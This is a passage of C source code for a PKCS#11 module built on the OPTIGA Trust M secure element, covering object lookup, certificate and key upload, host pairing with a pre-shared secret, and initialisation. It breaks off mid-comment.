/** * MIT License * * Copyright (c) 2020 Infineon Technologies AG * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE * * OPTIGA(TM) Trust M - based PKCS#11 V1.0.0 */ /** * @file pkcs11_trustm.c * @brief OPTIGA(TM) Trust M -based PKCS#11 implementation for software keys. This * file deviates from the FreeRTOS style standard for some function names and * data types in order to maintain compliance with the PKCS #11 standard. */ /* C runtime includes. */ #include <stdio.h> #include <string.h> #include <limits.h> /* OPTIGA(TM) Trust M Includes */ #include "optiga/optiga_crypt.h" #include "optiga/optiga_util.h" #include "ecdsa_utils.h" #include "optiga/pal/pal_os_lock.h" #include "optiga/pal/pal_os_event.h" #include "optiga/pal/pal_i2c.h" #include "optiga/ifx_i2c/ifx_i2c_config.h" #include "optiga/pal/pal_ifx_i2c_config.h" #include "pkcs11_optiga_trustm.h" #ifdef __linux__ #include <semaphore.h> #else //Platgorm specific header file #endif #define PKCS11_PRINT( X ) //printf(X);//vLoggingPrintf X #define PKCS11_WARNING_PRINT( X ) /* vLoggingPrintf X */ #define pkcs11NO_OPERATION ( ( CK_MECHANISM_TYPE ) 0xFFFFFFFFF ) /* The size of the buffer malloc'ed for the exported public key in C_GenerateKeyPair */ #define pkcs11KEY_GEN_MAX_DER_SIZE 200 #define MAX_PUBLIC_KEY_SIZE 100 #define MAX_DELAY 50 // Value of Operational state #define LCSO_STATE_CREATION (0x01) // Value of Operational state #define LCSO_STATE_OPERATIONAL (0x07) #define PKCS_ENCRYPT_ENABLE (1 << 0) #define PKCS_DECRYPT_ENABLE (1 << 1) #define PKCS_SIGN_ENABLE (1 << 2) #define PKCS_VERIFY_ENABLE (1 << 3) //Currently set to Creation state(defualt value). At the real time/customer side this needs to be LCSO_STATE_OPERATIONAL (0x07) #define FINAL_LCSO_STATE (LCSO_STATE_CREATION) typedef struct pkcs11_object_t { CK_OBJECT_HANDLE object_handle; // If Label is associated with a private key slot. // This flag is used to mark it active/non-active, as we can't remove the private key CK_BYTE status_lable[ MAX_LABEL_LENGTH + 1 ]; /* Plus 1 for the null terminator. */ } pkcs11_object_t; typedef struct pkcs11_object_list { #ifdef __linux__ sem_t semaphore; /* Semaphore that protects write operations to the objects array. */ #else //Platform specific semaphore vriables #endif struct timespec timeout; optiga_crypt_t* optiga_crypt_instance; optiga_util_t* optiga_util_instance; optiga_lib_status_t optiga_lib_status; pkcs11_object_t objects[ MAX_NUM_OBJECTS ]; } pkcs11_object_list; /* PKCS #11 Object */ typedef struct pkcs11_context_struct { CK_BBOOL is_initialized; pkcs11_object_list object_list; uint16_t certificate_oid; uint16_t private_key_oid; } pkcs11_context_struct; static pkcs11_context_struct pkcs11_context; typedef struct optiga_sha256_ctx_t { uint8_t hash_ctx_buff [209]; optiga_hash_context_t hash_ctx; }optiga_sha256_ctx_t; /** * @brief Session structure. */ typedef struct pkcs11_session { CK_ULONG state; CK_BBOOL opened; CK_MECHANISM_TYPE operation_in_progress; CK_BBOOL find_object_init; CK_BBOOL find_object_complete; CK_BYTE * find_object_lable; /* Pointer to the label for the search in progress. Should be NULL if no search in progress. */ uint8_t find_object_lable_length; CK_MECHANISM_TYPE verify_mechanism; uint16_t verify_key_oid; CK_MECHANISM_TYPE sign_mechanism; /* Mechanism of the sign operation in progress. Set during C_SignInit. */ uint16_t sign_key_oid; CK_BBOOL sign_init_done; CK_BBOOL verify_init_done; CK_BBOOL encrypt_init_done; CK_BBOOL decrypt_init_done; optiga_sha256_ctx_t sha256_ctx; CK_ULONG rsa_key_size; CK_ULONG ec_key_size; optiga_ecc_curve_t ec_key_type; uint16_t encryption_key_oid; uint16_t decryption_key_oid; uint8_t key_template_enabled; } pkcs11_session_t, * p_pkcs11_session_t; pal_os_lock_t optiga_mutex; /** * @brief Cryptoki module attribute definitions. */ #define pkcs11SLOT_ID 1 /** * @brief Helper definitions. */ #define pkcs11CREATE_OBJECT_MIN_ATTRIBUTE_COUNT 3 #define pkcs11GENERATE_KEY_PAIR_KEYTYPE_ATTRIBUTE_INDEX 0 #define pkcs11GENERATE_KEY_PAIR_ECPARAMS_ATTRIBUTE_INDEX 1 #define PKCS11_MODULE_IS_INITIALIZED ( ( pkcs11_context.is_initialized == CK_TRUE ) ? 1 : 0 ) #define PKCS11_SESSION_IS_OPEN( xSessionHandle ) ( ( ( ( p_pkcs11_session_t ) xSessionHandle )->opened ) == CK_TRUE ? CKR_OK : CKR_SESSION_CLOSED ) #define PKCS11_SESSION_IS_VALID( xSessionHandle ) ( ( ( p_pkcs11_session_t ) xSessionHandle != NULL ) ? PKCS11_SESSION_IS_OPEN( xSessionHandle ) : CKR_SESSION_HANDLE_INVALID ) #define PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED( xSessionHandle ) ( PKCS11_MODULE_IS_INITIALIZED ? PKCS11_SESSION_IS_VALID( xSessionHandle ) : CKR_CRYPTOKI_NOT_INITIALIZED ) /*-----------------------------------------------------------*/ #define pkcs11OBJECT_CERTIFICATE_MAX_SIZE 1728 enum eObjectHandles { eInvalidHandle = 0, /* According to PKCS #11 spec, 0 is never a valid object handle. */ DevicePrivateKey, TestPrivateKey, DevicePublicKey, TestPublicKey, DeviceCertificate, TestCertificate, CodeSigningKey }; //lint --e{818} suppress "argument "context" is not used in the sample provided" static void optiga_callback(void * pvContext, optiga_lib_status_t xReturnStatus) { optiga_lib_status_t * xInstanceStatus = (optiga_lib_status_t *)pvContext; if (NULL != xInstanceStatus) { *xInstanceStatus = xReturnStatus; } } /** * @brief Translates a PKCS #11 label into an object handle. * * Port-specific object handle retrieval. * * * @param[in] pxLabel Pointer to the label of the object * who's handle should be found. * @param[in] usLength The length of the label, in bytes. * * @return The object handle if operation was successful. * Returns eInvalidHandle if unsuccessful. */ CK_OBJECT_HANDLE find_object( uint8_t * pLabel, uint8_t usLength ) { CK_OBJECT_HANDLE object_handle = eInvalidHandle; /* Translate from the PKCS#11 label to local storage file name. */ if( 0 == memcmp( pLabel, &LABEL_DEVICE_CERTIFICATE_FOR_TLS, sizeof( LABEL_DEVICE_CERTIFICATE_FOR_TLS ) ) ) { object_handle = DeviceCertificate; } else if( 0 == memcmp( pLabel, &LABEL_DEVICE_PRIVATE_KEY_FOR_TLS, sizeof( LABEL_DEVICE_PRIVATE_KEY_FOR_TLS ) ) ) { /* This operation isn't supported for the OPTIGA(TM) Trust M due to a security considerations * You can only generate a keypair and export a private component if you like */ /* We do assign a handle though, as the AWS can#t handle the lables without having a handle*/ object_handle = DevicePrivateKey; } else if( 0 == memcmp( pLabel, &LABEL_DEVICE_PUBLIC_KEY_FOR_TLS, sizeof( LABEL_DEVICE_PUBLIC_KEY_FOR_TLS ) ) ) { object_handle = DevicePublicKey; } else if( 0 == memcmp( pLabel, &LABEL_CODE_VERIFICATION_KEY, sizeof( LABEL_CODE_VERIFICATION_KEY ) ) ) { object_handle = CodeSigningKey; } return object_handle; } /*-----------------------------------------------------------*/ /** * @brief Gets the value of an object in storage, by handle. * * Port-specific file access for cryptographic information. * * This call dynamically allocates the buffer which object value * data is copied into. get_object_value_cleanup() * should be called after each use to free the dynamically allocated * buffer. * * @sa get_object_value_cleanup * * @param[in] pcFileName The name of the file to be read.s * @param[out] ppucData Pointer to buffer for file data. * @param[out] pulDataSize Size (in bytes) of data located in file. * @param[out] pIsPrivate Boolean indicating if value is private (CK_TRUE) * or exportable (CK_FALSE) * * @return CKR_OK if operation was successful. CKR_KEY_HANDLE_INVALID if * no such object handle was found, CKR_DEVICE_MEMORY if memory for * buffer could not be allocated, CKR_FUNCTION_FAILED for device driver * error. */ long get_object_value( CK_OBJECT_HANDLE object_handle, uint8_t ** ppucData, uint32_t * pulDataSize, CK_BBOOL * pIsPrivate ) { long ulReturn = CKR_OK; optiga_lib_status_t xReturn; long lOptigaOid = 0; char* xEnd = NULL; uint8_t xOffset = 0; *pIsPrivate = CK_FALSE; // We need to allocate a buffer for a certificate/certificate chain // This data is later should be freed with get_object_value_cleanup *ppucData = malloc( pkcs11OBJECT_CERTIFICATE_MAX_SIZE ); if (NULL != *ppucData) { *pulDataSize = pkcs11OBJECT_CERTIFICATE_MAX_SIZE; *pIsPrivate = CK_FALSE; switch (object_handle) { case DeviceCertificate: lOptigaOid = strtol(LABEL_DEVICE_CERTIFICATE_FOR_TLS, &xEnd, 16); xOffset = 9; break; case DevicePublicKey: lOptigaOid = strtol(LABEL_DEVICE_PUBLIC_KEY_FOR_TLS, &xEnd, 16); break; case CodeSigningKey: lOptigaOid = strtol(LABEL_CODE_VERIFICATION_KEY, &xEnd, 16); break; case DevicePrivateKey: /* * This operation isn't supported for the OPTIGA(TM) Trust M due to a security considerations * You can only generate a keypair and export a private component if you like */ default: ulReturn = CKR_KEY_HANDLE_INVALID; break; } if ( (0 != lOptigaOid) && (USHRT_MAX > lOptigaOid) && (NULL != pulDataSize)) { pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xReturn = optiga_util_read_data(pkcs11_context.object_list.optiga_util_instance, lOptigaOid, xOffset, *ppucData, (uint16_t*)pulDataSize); if (OPTIGA_LIB_SUCCESS == xReturn) { while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // In case the read was ok, but no data inside if (0x8008 == pkcs11_context.object_list.optiga_lib_status) { *ppucData = NULL; *pulDataSize = 0; } else if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { *ppucData = NULL; *pulDataSize = 0; ulReturn = CKR_KEY_HANDLE_INVALID; } } pal_os_lock_release(&optiga_mutex); } } return ulReturn; } /*-----------------------------------------------------------*/ /** * @brief Cleanup after get_object_value(). * * @param[in] pucData The buffer to free. * (*ppucData from get_object_value()) * @param[in] ulDataSize The length of the buffer to free. * (*pulDataSize from get_object_value()) */ void get_object_value_cleanup( uint8_t * pucData, uint32_t ulDataSize ) { /* Unused parameters. */ free( pucData ); /* Since no buffer was allocated on heap, there is no cleanup * to be done. */ } /** * @brief Maps an opaque caller session handle into its internal state structure. */ p_pkcs11_session_t get_session_pointer( CK_SESSION_HANDLE xSession ) { return ( p_pkcs11_session_t ) xSession; /*lint !e923 Allow casting integer type to pointer for handle. */ } /* * PKCS#11 module implementation. */ /** * @brief PKCS#11 interface functions implemented by this Cryptoki module. */ static CK_FUNCTION_LIST prvP11FunctionList = { { CRYPTOKI_VERSION_MAJOR, CRYPTOKI_VERSION_MINOR }, C_Initialize, C_Finalize, NULL, /*C_GetInfo */ C_GetFunctionList, C_GetSlotList, NULL, /*C_GetSlotInfo*/ C_GetTokenInfo, NULL, /*C_GetMechanismList*/ C_GetMechanismInfo, C_InitToken, NULL, /*C_InitPIN*/ NULL, /*C_SetPIN*/ C_OpenSession, C_CloseSession, NULL, /*C_CloseAllSessions*/ NULL, /*C_GetSessionInfo*/ NULL, /*C_GetOperationState*/ NULL, /*C_SetOperationState*/ C_Login, /*C_Login*/ NULL, /*C_Logout*/ C_CreateObject, NULL, /*C_CopyObject*/ C_DestroyObject, NULL, /*C_GetObjectSize*/ C_GetAttributeValue, NULL, /*C_SetAttributeValue*/ C_FindObjectsInit, C_FindObjects, C_FindObjectsFinal, C_EncryptInit, C_Encrypt, C_EncryptUpdate, C_EncryptFinal, C_DecryptInit, C_Decrypt, C_DecryptUpdate, C_DecryptFinal, C_DigestInit, NULL, /*C_Digest*/ C_DigestUpdate, NULL, /* C_DigestKey*/ C_DigestFinal, C_SignInit, C_Sign, C_SignUpdate, C_SignFinal, NULL, /*C_SignRecoverInit*/ NULL, /*C_SignRecover*/ C_VerifyInit, C_Verify, C_VerifyUpdate, C_VerifyFinal, NULL, /*C_VerifyRecoverInit*/ NULL, /*C_VerifyRecover*/ NULL, /*C_DigestEncryptUpdate*/ NULL, /*C_DecryptDigestUpdate*/ NULL, /*C_SignEncryptUpdate*/ NULL, /*C_DecryptVerifyUpdate*/ NULL, /*C_GenerateKey*/ C_GenerateKeyPair, NULL, /*C_WrapKey*/ NULL, /*C_UnwrapKey*/ NULL, /*C_DeriveKey*/ NULL, /*C_SeedRandom*/ C_GenerateRandom, NULL, /*C_GetFunctionStatus*/ NULL, /*C_CancelFunction*/ NULL /*C_WaitForSlotEvent*/ }; CK_RV pair_host_and_optiga_using_pre_shared_secret(void) { uint16_t bytes_to_read; uint8_t platform_binding_secret[64]; uint8_t platform_binding_secret_metadata[44]; optiga_lib_status_t return_status = !OPTIGA_LIB_SUCCESS; pal_status_t pal_return_status; /* Platform Binding Shared Secret (0xE140) Metadata to be updated */ const uint8_t platform_binding_shared_secret_metadata_final [] = { //Metadata to be updated 0x20, 0x17, // LcsO 0xC0, 0x01, FINAL_LCSO_STATE, // Refer Macro to see the value or some more notes // Change/Write Access tag 0xD0, 0x07, // This allows updating the binding secret during the runtime using shielded connection // If not required to update the secret over the runtime, set this to NEV and // update Metadata length accordingly 0xE1, 0xFC, LCSO_STATE_OPERATIONAL, // LcsO < Operational state 0xFE, 0x20, 0xE1, 0x40, // Read Access tag 0xD1, 0x03, 0xE1, 0xFC, LCSO_STATE_OPERATIONAL, // LcsO < Operational state // Execute Access tag 0xD3, 0x01, 0x00, // Always // Data object Type 0xE8, 0x01, 0x22, // Platform binding secret type }; do { /** * 1. Initialize the protection level and protocol version for the instances */ OPTIGA_UTIL_SET_COMMS_PROTECTION_LEVEL(pkcs11_context.object_list.optiga_util_instance,OPTIGA_COMMS_NO_PROTECTION); OPTIGA_UTIL_SET_COMMS_PROTOCOL_VERSION(pkcs11_context.object_list.optiga_util_instance,OPTIGA_COMMS_PROTOCOL_VERSION_PRE_SHARED_SECRET); OPTIGA_CRYPT_SET_COMMS_PROTECTION_LEVEL(pkcs11_context.object_list.optiga_crypt_instance,OPTIGA_COMMS_NO_PROTECTION); OPTIGA_CRYPT_SET_COMMS_PROTOCOL_VERSION(pkcs11_context.object_list.optiga_crypt_instance,OPTIGA_COMMS_PROTOCOL_VERSION_PRE_SHARED_SECRET); /** * 2. Read Platform Binding Shared secret (0xE140) data object metadata from OPTIGA * using optiga_util_read_metadata. */ bytes_to_read = sizeof(platform_binding_secret_metadata); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; return_status = optiga_util_read_metadata(pkcs11_context.object_list.optiga_util_instance, 0xE140, platform_binding_secret_metadata, &bytes_to_read); if (OPTIGA_LIB_SUCCESS != return_status) { return_status = CKR_FUNCTION_FAILED; break; } while (pkcs11_context.object_list.optiga_lib_status == OPTIGA_LIB_BUSY) { } if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { return_status = CKR_FUNCTION_FAILED; break; } /** * 3. Validate LcsO in the metadata. * Skip the rest of the procedure if LcsO is greater than or equal to operational state(0x07) */ if (platform_binding_secret_metadata[4] >= LCSO_STATE_OPERATIONAL) { // The LcsO is already greater than or equal to operational state break; } /** * 4. Generate Random using optiga_crypt_random * - Specify the Random type as TRNG * a. The maximum supported size of secret is 64 bytes. * The minimum recommended is 32 bytes. * b. If the host platform doesn't support random generation, * use OPTIGA to generate the maximum size chosen. * else choose the appropriate length of random to be generated by OPTIGA * */ pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; return_status = optiga_crypt_random(pkcs11_context.object_list.optiga_crypt_instance, OPTIGA_RNG_TYPE_TRNG, platform_binding_secret, sizeof(platform_binding_secret)); if (OPTIGA_LIB_SUCCESS != return_status) { return_status = CKR_FUNCTION_FAILED; break; } while (pkcs11_context.object_list.optiga_lib_status == OPTIGA_LIB_BUSY) { } if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { return_status = CKR_FUNCTION_FAILED; break; } /** * 5. Generate random on Host * If the host platform doesn't support, skip this step */ /** * 6. Write random(secret) to OPTIGA platform Binding shared secret data object (0xE140) */ pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; OPTIGA_UTIL_SET_COMMS_PROTECTION_LEVEL(pkcs11_context.object_list.optiga_util_instance,OPTIGA_COMMS_NO_PROTECTION); return_status = optiga_util_write_data(pkcs11_context.object_list.optiga_util_instance, 0xE140, OPTIGA_UTIL_ERASE_AND_WRITE, 0, platform_binding_secret, sizeof(platform_binding_secret)); if (OPTIGA_LIB_SUCCESS != return_status) { return_status = CKR_FUNCTION_FAILED; break; } while (pkcs11_context.object_list.optiga_lib_status == OPTIGA_LIB_BUSY) { } if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { return_status = CKR_FUNCTION_FAILED; break; } /** * 7. Write/store the random(secret) on the Host platform * */ pal_return_status = pal_os_datastore_write(OPTIGA_PLATFORM_BINDING_SHARED_SECRET_ID, platform_binding_secret, sizeof(platform_binding_secret)); if (PAL_STATUS_SUCCESS != pal_return_status) { break; } /** * 8. Update metadata of OPTIGA Platform Binding shared secret data object (0xE140) */ pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; OPTIGA_UTIL_SET_COMMS_PROTECTION_LEVEL(pkcs11_context.object_list.optiga_util_instance,OPTIGA_COMMS_NO_PROTECTION); return_status = optiga_util_write_metadata(pkcs11_context.object_list.optiga_util_instance, 0xE140, platform_binding_shared_secret_metadata_final, sizeof(platform_binding_shared_secret_metadata_final)); if (OPTIGA_LIB_SUCCESS != return_status) { return_status = CKR_FUNCTION_FAILED; break; } while (pkcs11_context.object_list.optiga_lib_status == OPTIGA_LIB_BUSY) { }; if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { return_status = CKR_FUNCTION_FAILED; break; } return_status = OPTIGA_LIB_SUCCESS; } while(FALSE); return (CK_RV)return_status; } CK_RV optiga_trustm_initialize( void ) { CK_RV xResult = CKR_OK; uint16_t dOptigaOID; static uint8_t host_pair_done = 1; do { if( pkcs11_context.is_initialized == CK_TRUE ) { xResult = CKR_CRYPTOKI_ALREADY_INITIALIZED; } if( xResult == CKR_OK ) { memset( &pkcs11_context, 0, sizeof( pkcs11_context ) ); #ifdef __linux__ xResult = sem_init(&pkcs11_context.object_list.semaphore , 0, 1); #else //Platform specific semaphore implementation #endif if( xResult != CKR_OK ) { break; } pal_gpio_init(&optiga_reset_0); pal_gpio_init(&optiga_vdd_0); pkcs11_context.object_list.timeout.tv_sec = 0; pkcs11_context.object_list.timeout.tv_nsec = 0xffff; pkcs11_context.object_list.optiga_crypt_instance = optiga_crypt_create(0, optiga_callback, &pkcs11_context.object_list.optiga_lib_status); pkcs11_context.object_list.optiga_util_instance = optiga_util_create(0, optiga_callback, &pkcs11_context.object_list.optiga_lib_status); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_util_open_application(pkcs11_context.object_list.optiga_util_instance, 0); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } while (pkcs11_context.object_list.optiga_lib_status == OPTIGA_LIB_BUSY) { } if ((NULL == pkcs11_context.object_list.optiga_crypt_instance) || (NULL == pkcs11_context.object_list.optiga_util_instance) || (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) || (CKR_FUNCTION_FAILED == xResult)) { xResult = CKR_FUNCTION_FAILED; break; } else { // Current limitation dOptigaOID = 0xE0C4; // Maximum Power, Minimum Current limitation uint8_t cCurrentLimit = 15; pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_util_write_data(pkcs11_context.object_list.optiga_util_instance, dOptigaOID, OPTIGA_UTIL_WRITE_ONLY, 0, //offset &cCurrentLimit, 1); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { xResult = CKR_FUNCTION_FAILED; break; } #ifdef OPTIGA_COMMS_SHIELDED_CONNECTION if(host_pair_done) { xResult = pair_host_and_optiga_using_pre_shared_secret(); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } host_pair_done = 0; } #endif } } } while(0); return xResult; } /*-----------------------------------------------------------*/ CK_RV optiga_trustm_deinitialize( void ) { CK_RV xResult = CKR_OK; if( pkcs11_context.is_initialized == CK_TRUE ) { do { if( xResult == CKR_OK ) { pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_util_close_application(pkcs11_context.object_list.optiga_util_instance, 0); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } while (pkcs11_context.object_list.optiga_lib_status == OPTIGA_LIB_BUSY) { } if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { xResult = CKR_FUNCTION_FAILED; break; } //Destroy the instances after the completion of usecase xResult = optiga_crypt_destroy(pkcs11_context.object_list.optiga_crypt_instance); xResult |= optiga_util_destroy(pkcs11_context.object_list.optiga_util_instance); if(OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; } } }while(0); } return xResult; } /** * @brief Searches the PKCS #11 module's object list for label and provides handle. * * @param[in] pcLabel Array containing label. * @param[in] xLableLength Length of the label, in bytes. * @param[out] pxPalHandle Pointer to the PAL handle to be provided. * CK_INVALID_HANDLE if no object found. * @param[out] pxAppHandle Pointer to the application handle to be provided. * CK_INVALID_HANDLE if no object found. */ void find_object_in_list_by_label( uint8_t * pcLabel, size_t xLabelLength, CK_OBJECT_HANDLE_PTR pxPalHandle, CK_OBJECT_HANDLE_PTR pxAppHandle ) { uint8_t ucIndex; *pxPalHandle = CK_INVALID_HANDLE; *pxAppHandle = CK_INVALID_HANDLE; for( ucIndex = 0; ucIndex < MAX_NUM_OBJECTS; ucIndex++ ) { if( 0 == memcmp( pcLabel, pkcs11_context.object_list.objects[ ucIndex ].status_lable, xLabelLength ) ) { *pxPalHandle = pkcs11_context.object_list.objects[ ucIndex ].object_handle; *pxAppHandle = ucIndex + 1; /* Zero is not a valid handle, so let's offset by 1. */ break; } } } /** * @brief Searches the PKCS #11 module's object list for handle and provides label info. * * @param[in] xAppHandle The handle of the object being searched for, used by the application. * @param[out] xPalHandle The handle of the object being used by the PAL. * @param[out] ppcLabel Pointer to an array containing label. NULL if object not found. * @param[out] pxLabelLength Pointer to label length (includes a string null terminator). * 0 if no object found. */ void find_object_in_list_by_handle( CK_OBJECT_HANDLE xAppHandle, CK_OBJECT_HANDLE_PTR pxPalHandle, uint8_t ** ppcLabel, size_t * pxLabelLength ) { int lIndex = xAppHandle - 1; *ppcLabel = NULL; *pxLabelLength = 0; if (MAX_NUM_OBJECTS >= lIndex) { if( pkcs11_context.object_list.objects[ lIndex ].object_handle != CK_INVALID_HANDLE ) { *ppcLabel = pkcs11_context.object_list.objects[ lIndex ].status_lable; *pxLabelLength = strlen( ( const char * ) pkcs11_context.object_list.objects[ lIndex ].status_lable ) + 1; *pxPalHandle = pkcs11_context.object_list.objects[ lIndex ].object_handle; } } else{ *ppcLabel = NULL; *pxLabelLength = 0; pxPalHandle = NULL; } } CK_RV delete_object_from_list( CK_OBJECT_HANDLE xAppHandle ) { CK_RV xResult = CKR_OK; int32_t get_semaphore; int lIndex = xAppHandle - 1; #ifdef __linux__ get_semaphore = sem_timedwait( &pkcs11_context.object_list.semaphore, &pkcs11_context.object_list.timeout ); #endif if( get_semaphore == 0 ) { if( pkcs11_context.object_list.objects[ lIndex ].object_handle != CK_INVALID_HANDLE ) { memset( &pkcs11_context.object_list.objects[ lIndex ], 0, sizeof( pkcs11_object_t ) ); } else { xResult = CKR_OBJECT_HANDLE_INVALID; } #ifdef __linux__ sem_post( &pkcs11_context.object_list.semaphore ); #endif } else { xResult = CKR_CANT_LOCK; } return xResult; } CK_RV add_object_to_list( CK_OBJECT_HANDLE xPalHandle, CK_OBJECT_HANDLE_PTR pxAppHandle, uint8_t * pcLabel, size_t xLabelLength ) { CK_RV xResult = CKR_OK; int32_t get_semaphore; CK_BBOOL xObjectFound = CK_FALSE; int lInsertIndex = -1; int lSearchIndex = MAX_NUM_OBJECTS - 1; #ifdef __linux__ get_semaphore = sem_timedwait( &pkcs11_context.object_list.semaphore, &pkcs11_context.object_list.timeout); #endif if( get_semaphore == 0 ) { for( lSearchIndex = MAX_NUM_OBJECTS - 1; lSearchIndex >= 0; lSearchIndex-- ) { if( pkcs11_context.object_list.objects[ lSearchIndex ].object_handle == xPalHandle ) { /* Object already exists in list. */ xObjectFound = CK_TRUE; break; } else if( pkcs11_context.object_list.objects[ lSearchIndex ].object_handle == CK_INVALID_HANDLE ) { lInsertIndex = lSearchIndex; } } if( xObjectFound == CK_FALSE ) { if( lInsertIndex != -1 ) { if( xLabelLength < MAX_LABEL_LENGTH ) { pkcs11_context.object_list.objects[ lInsertIndex ].object_handle = xPalHandle; memcpy( pkcs11_context.object_list.objects[ lInsertIndex ].status_lable, pcLabel, xLabelLength ); *pxAppHandle = lInsertIndex + 1; } else { xResult = CKR_DATA_LEN_RANGE; } } } #ifdef __linux__ sem_post( &pkcs11_context.object_list.semaphore ); #endif } else { xResult = CKR_CANT_LOCK; } return xResult; } static uint8_t append_optiga_certificate_tags (uint16_t xCertWithoutTagsLength, uint8_t* pxCertTags, uint16_t xCertTagsLength) { char t1[3], t2[3], t3[3]; int xCalc = xCertWithoutTagsLength, xCalc1 = 0, xCalc2 = 0; uint8_t ret = 0; do { if ((pxCertTags == NULL) || (xCertWithoutTagsLength == 0) || (xCertTagsLength != 9)) { break; } if (xCalc > 0xFF) { xCalc1 = xCalc >> 8; xCalc = xCalc%0x100; if (xCalc1 > 0xFF) { xCalc2 = xCalc1 >> 8; xCalc1 = xCalc1%0x100; } } t3[0] = xCalc2; t3[1] = xCalc1; t3[2] = xCalc; xCalc = xCertWithoutTagsLength + 3; if (xCalc > 0xFF) { xCalc1 = xCalc >> 8; xCalc = xCalc%0x100; if (xCalc1 > 0xFF) { xCalc2 = xCalc1 >> 8; xCalc1 = xCalc1%0x100; } } t2[0] = xCalc2; t2[1] = xCalc1; t2[2] = xCalc; xCalc = xCertWithoutTagsLength + 6; if (xCalc > 0xFF) { xCalc1 = xCalc >> 8; xCalc = xCalc%0x100; if (xCalc1 > 0xFF) { xCalc2 = xCalc1 >> 8; xCalc1 = xCalc1%0x100; } } t1[0] = 0xC0; t1[1] = xCalc1; t1[2] = xCalc; for (int i = 0; i < 3; i++) { pxCertTags[i] = t1[i]; } for (int i = 0; i < 3; i++) { pxCertTags[i+3] = t2[i]; } for (int i = 0; i < 3; i++) { pxCertTags[i+6] = t3[i]; } ret = 1; }while(0); return ret; } static int32_t upload_certificate(char * pucLabel, uint8_t * pucData, uint32_t ulDataSize) { long lOptigaOid = 0; const uint8_t xTagsLength = 9; uint8_t pxCertTags[xTagsLength]; optiga_lib_status_t xReturn = OPTIGA_UTIL_ERROR; char* xEnd = NULL; /** * Write a certificate to a given cert object (e.g. E0E8) * using optiga_util_write_data. * * We do create here another instance, as the certificate slot is shared bz all isntances * * Use Erase and Write (OPTIGA_UTIL_ERASE_AND_WRITE) option, * to clear the remaining data in the object */ lOptigaOid = strtol(pucLabel, &xEnd, 16); if ( (0 != lOptigaOid) && (USHRT_MAX > lOptigaOid) && (USHRT_MAX > ulDataSize)) { // Certificates on OPTIGA Trust SE are stored with certitficate identifiers -> tags, // which are 9 bytes long if (append_optiga_certificate_tags(ulDataSize, pxCertTags, xTagsLength)) { pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xReturn = optiga_util_write_data(pkcs11_context.object_list.optiga_util_instance, (uint16_t)lOptigaOid, OPTIGA_UTIL_ERASE_AND_WRITE, 0, pxCertTags, 9); if (OPTIGA_LIB_SUCCESS == xReturn) { while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } if (OPTIGA_LIB_SUCCESS == pkcs11_context.object_list.optiga_lib_status) { pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xReturn = optiga_util_write_data(pkcs11_context.object_list.optiga_util_instance, (uint16_t)lOptigaOid, OPTIGA_UTIL_WRITE_ONLY, xTagsLength, pucData, ulDataSize); if (OPTIGA_LIB_SUCCESS == xReturn) { while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } if (OPTIGA_LIB_SUCCESS == pkcs11_context.object_list.optiga_lib_status) { xReturn = OPTIGA_LIB_SUCCESS; } } } } pal_os_lock_release(&optiga_mutex); } } return xReturn; } static int32_t upload_public_key(char * pucLabel, uint8_t * pucData, uint32_t ulDataSize) { long lOptigaOid = 0; optiga_lib_status_t xReturn = OPTIGA_UTIL_ERROR;; char* xEnd = NULL; /** * Write a public key to an arbitrary data object * Note: You might need to lock the data object here. see optiga_util_write_metadata() * * Use Erase and Write 